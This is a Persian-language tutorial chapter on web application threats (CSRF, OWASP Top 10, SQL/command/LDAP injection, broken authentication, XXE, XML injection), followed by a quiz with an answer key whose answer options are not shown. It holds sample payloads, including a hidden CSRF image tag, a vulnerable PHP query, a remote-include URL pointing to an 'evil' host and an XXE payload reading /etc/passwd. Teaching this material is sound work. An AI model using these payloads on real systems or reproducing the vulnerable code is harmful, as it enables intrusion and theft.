🛡️ فصل ۱۴ - قسمت ۱: تهدیدات برنامه‌های وب (Web App Threats)

CSRF، OWASP Top 10، تزریق SQL و Command، احراز هویت شکسته و حملات XML

۱. حمله CSRF (Cross-Site Request Forgery)

حمله CSRF مشابه حمله XSS می‌باشد؛ اما در این حمله نیازی نیست تا نفوذگر کدهای خود را در برنامهٔ تحت وب Inject نماید. در این حمله وب‌سرور به کاربران احرازهویت‌شده اطمینان دارد و انتقال دستورات غیرمجاز از کلاینت به سرور را بدون اطلاع کاربر امکان‌پذیر می‌نماید.

💡 مثال ساده:

تصور کنید شما در حساب بانکی خود لاگین کرده‌اید (Session فعال است). یک هکر برای شما ایمیلی حاوی یک لینک یا تصویر می‌فرستد. به محض اینکه شما آن ایمیل را باز می‌کنید، مرورگر شما به صورت ناخواسته درخواستی به سرور بانک ارسال می‌کند تا مبلغی را به حساب هکر واریز کند. چون شما لاگین هستید، بانک فکر می‌کند این درخواست از طرف خود شماست و آن را تایید می‌کند!

💻 مثال واقعی فنی:

هکر کد زیر را در یک وب‌سایت یا ایمیل قرار می‌دهد:

<img src="http://bank.com/transfer?amount=1000&to=HackerAccount" width="0" height="0">

وقتی کاربر لاگین‌کرده این صفحه را باز می‌کند، مرورگر تلاش می‌کند این تصویر را لود کند و درخواست انتقال وجه را به همراه کوکی‌های احراز هویت کاربر به سرور بانک می‌فرستد.

۲. ده آسیب‌پذیری برتر OWASP (OWASP Top 10)

سازمان OWASP هر چند سال لیستی از ۱۰ ریسک امنیتی برتر برنامه‌های کاربردی وب را منتشر می‌کند:

1. Broken Access Control کنترل دسترسی شکسته (دسترسی به بخش‌های غیرمجاز)
2. Cryptographic Failure شکست در رمزنگاری (استفاده از الگوریتم‌های ضعیف)
3. Injection تزریق (SQL، Command، LDAP و...)
4. Insecure Design طراحی ناامن (عدم توجه به امنیت در فاز طراحی)
5. Security Misconfiguration پیکربندی نادرست امنیتی
6. Vulnerable/Outdated Components اجزای آسیب‌پذیر یا قدیمی (عدم آپدیت)
7. Identification/Authentication Failures شکست در احراز هویت و شناسایی
8. Software/Data Integrity Failures شکست در یکپارچگی داده‌ها و نرم‌افزار
9. Security Logging/Monitoring Failures شکست در لاگ‌برداری و مانیتورینگ امنیتی
10. Server-Side Request Forgery (SSRF) جعل درخواست سمت سرور

۳. حملات تزریق (Injection)

تزریق یکی از خطرناک‌ترین حملات است که در آن مهاجم داده‌های مخرب را وارد برنامه می‌کند تا آن را مجبور به اجرای دستورات ناخواسته کند. سه نوع اصلی آن عبارتند از:

۴. تزریق SQL (SQL Injection)

تزریق SQL یکی از شایع‌ترین آسیب‌پذیری‌ها در وب‌سایت‌ها می‌باشد. در این حمله، با استفاده از یک سری پرس‌وجوهای مخرب، پایگاه داده به طور مستقیم دستکاری می‌شود. نفوذگر می‌تواند از این آسیب‌پذیری برای دور زدن اقدامات امنیتی و دسترسی به اطلاعات حساس استفاده کند. این حملات معمولاً از طریق فیلدهای ورودی (مثل فرم‌ها، نوار آدرس و...) انجام می‌شود.

💻 مثال واقعی فنی (کد آسیب‌پذیر):

در کد PHP زیر، ورودی کاربر بدون هیچ‌گونه پاکسازی مستقیماً در دستور SQL قرار می‌گیرد:

<?php
function save_email($user, $message) {
    // آسیب‌پذیری: متغیرها مستقیماً در دستور قرار گرفته‌اند
    $sql = "INSERT INTO Messages (user, message) VALUES ('$user', '$message')";
    return mysql_query($sql);
}
?>

اگر کاربر در فیلد پیام مقدار '), ('hacker', 'hacked را وارد کند، یک رکورد جدید غیرمجاز در دیتابیس ثبت می‌شود.

۵. تزریق دستور (Command Injection)

در این روش، آسیب‌پذیری تزریق دستور به نفوذگر اجازه می‌دهد تا کدهای مخرب خود را به سیستم‌های مختلف از طریق برنامه‌های تحت وب عبور دهد. این نوع حمله شامل سه قسمت زیر می‌باشد:

💻 مثال واقعی فنی:

در آدرس زیر، برنامه انتظار دارد یک رنگ دریافت کند، اما هکر یک آدرس حاوی کدهای مخرب را تزریق کرده است:

http://www.victim.com/vulnerable.php?COLOR=http://evil/exploit

۶. تزریق LDAP (LDAP Injection)

عملکرد تزریق LDAP (Lightweight Directory Access Protocol) مانند تزریق SQL می‌باشد. این سرویس اطلاعات را بر اساس ویژگی‌های آن‌ها ذخیره می‌کند. تمامی ورودی‌ها در LDAP می‌بایست فیلترشده باشند، در غیر این صورت آسیب‌پذیری‌ها در LDAP اجازهٔ اجرای پرس‌وجوهای غیرمجاز یا تغییر محتوا را خواهند داد.

اطلاعات در این ساختار به صورت سلسله‌مراتبی سازماندهی می‌شوند که اساس مدل‌های کلاینت-سروری است. کلاینت‌ها می‌توانند از فیلترهای مختلف برای جستجو استفاده کنند.

جدول فیلترهای LDAP:

عملگر مثال
= (مساوی)(objectclass=user)
>= (بزرگتر یا مساوی)(mdbStorageQuota>=100000)
<= (کوچکتر یا مساوی)(mdbStorageQuota<=100000)
~= (شبیه)(displayName~=Foeckeler)
* (وجود داشته باشد)(displayName=*John*)
& (و - AND)(&(objectclass=user)(displayName=John))
| (یا - OR)(|(objectclass=user)(displayName=John))
! (نفی - NOT)(!objectClass=group)

۷. احراز هویت شکسته (Broken Authentication)

نفوذگر می‌تواند از آسیب‌پذیری‌های موجود در احراز هویت یا توابع مربوط به مدیریت نشست مانند شناسه‌های نشست (Session)، مدیریت کلمه عبور، Timeout، سؤالات امنیتی و غیره بهره‌برداری نماید.

Session ID in URL قرار دادن شناسه نشست در آدرس URL که باعث لو رفتن آن با کپی کردن لینک می‌شود.
Password Exploitation بهره‌برداری از پسوردها (مانند هش‌های ضعیف و قابل شکستن).
Timeout Exploitation سوءاستفاده از عدم اعمال Timeout مناسب؛ اگر نشست کاربر پس از مدتی بسته نشود، هکر فرصت بیشتری دارد.

۸. حمله XXE (XML External Entity)

در این حمله، مهاجم با سوءاستفاده از قابلیت تعریف "موجودیت خارجی" (External Entity) در XML، سرور را مجبور می‌کند تا محتویات فایل‌های حساس روی سیستم را بخواند و به مهاجم برگرداند.

💻 مثال واقعی فنی:

مهاجم کد XML زیر را ارسال می‌کند:

<?xml version="1.0"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

سرور به جای اینکه مقدار productId را برگرداند، محتویات فایل /etc/passwd (شامل لیست کاربران سیستم) را در پاسخ قرار می‌دهد.

۹. تزریق XML (XML Injection)

گاهی از XML برای تبادل داده‌ها (مثلاً در یک فروشگاه اینترنتی برای مشخص کردن اقلام خریداری‌شده) استفاده می‌شود. یک کاربر خرابکار می‌تواند به جای وارد کردن یک عدد در فیلد quantity، کدهای XML مخرب را وارد کند تا منطق برنامه را دستکاری کند.

💻 مثال واقعی فنی:

ساختار سالم:

<item>
<description>Widget</description>
<price>500.0</price>
<quantity>1</quantity>
</item>

ساختار دستکاری‌شده توسط کاربر خرابکار:

<item>
<description>Widget</description>
<price>500.0</price>
<quantity>1</quantity><price>1.0</price><quantity>1</quantity>
</item>

در این مثال، قیمت دوم روی قیمت اول بازنویسی می‌شود و در نتیجه قیمت آیتم برابر ۱ دلار محاسبه می‌شود!

📝 آزمون چندگزینه‌ای (۶ سوال)

گزینه صحیح هر سوال را انتخاب کنید. پاسخنامه تشریحی در انتهای صفحه قرار دارد.

۱. در حمله CSRF، چرا وب‌سرور درخواست مخرب ارسال شده توسط مرورگر کاربر را قبول می‌کند؟
۲. کدام یک از موارد زیر در لیست OWASP Top 10 به عنوان یک ریسک امنیتی شناخته نمی‌شود؟
۳. استفاده از توابعی مانند system() و StartProcess در یک برنامه وب، پتانسیل ایجاد کدام نوع از حملات Command Injection را دارد؟
۴. در حمله XXE (XML External Entity)، هدف اصلی مهاجم چیست؟
۵. در حمله LDAP Injection، علامت & بیانگر چه عملگری در فیلترهای LDAP است؟
۶. قرار دادن Session ID در URL، جزو کدام دسته از آسیب‌پذیری‌ها طبقه‌بندی می‌شود؟

🔑 پاسخنامه تشریحی

۱. پاسخ صحیح: ب) چون سرور به کاربر احراز هویت شده (Session فعال) اطمینان دارد.

توضیح: در CSRF، هکر کد را در برنامه تزریق نمی‌کند، بلکه از اعتمادی که سرور به مرورگر و کوکی‌های فعال کاربر دارد سوءاستفاده می‌کند. مرورگر به طور خودکار کوکی‌ها را به همراه درخواست ارسال می‌کند و سرور فکر می‌کند کاربر خودش این درخواست را داده است.

۲. پاسخ صحیح: ج) SQL Tunneling

توضیح: تونل‌سازی SQL (SQL Tunneling) یک مفهوم در لیست OWASP نیست. ریسک‌های اصلی شامل تزریق (Injection)، کنترل دسترسی شکسته، پیکربندی نادرست و ... هستند.

۳. پاسخ صحیح: ج) Shell Injection

توضیح: در Shell Injection، مهاجم از توابع و APIهایی که امکان اجرای دستورات در سطح سیستم‌عامل (پوسته/Shell) را فراهم می‌کنند (مانند system()) استفاده می‌کند تا کنترل سرور را به دست بگیرد.

۴. پاسخ صحیح: ب) خواندن محتویات فایل‌های حساس سیستم‌عامل (مانند /etc/passwd)

توضیح: در حمله XXE، با تعریف یک موجودیت خارجی (External Entity) و استفاده از پروتکل file://، سرور را مجبور می‌کنند تا محتویات فایل‌های لوکال خود را بخواند و در پاسخ به مهاجم بازگرداند.

۵. پاسخ صحیح: ج) AND (و)

توضیح: در ساختار فیلترهای LDAP، علامت & نشان‌دهنده عملگر منطقی AND است (برای اینکه هر دو شرط همزمان برقرار باشند) و علامت | نشان‌دهنده OR است.

۶. پاسخ صحیح: الف) Broken Authentication (احراز هویت شکسته)

توضیح: مدیریت ناامن نشست‌ها (Sessions) بخشی از آسیب‌پذیری‌های احراز هویت است. اگر Session ID در URL قرار بگیرد، به راحتی در تاریخچه مرورگر، لاگ‌های پروکسی یا با کپی کردن لینک لو می‌رود و هکر می‌تواند نشست کاربر را برباید.

بازگشت به فهرست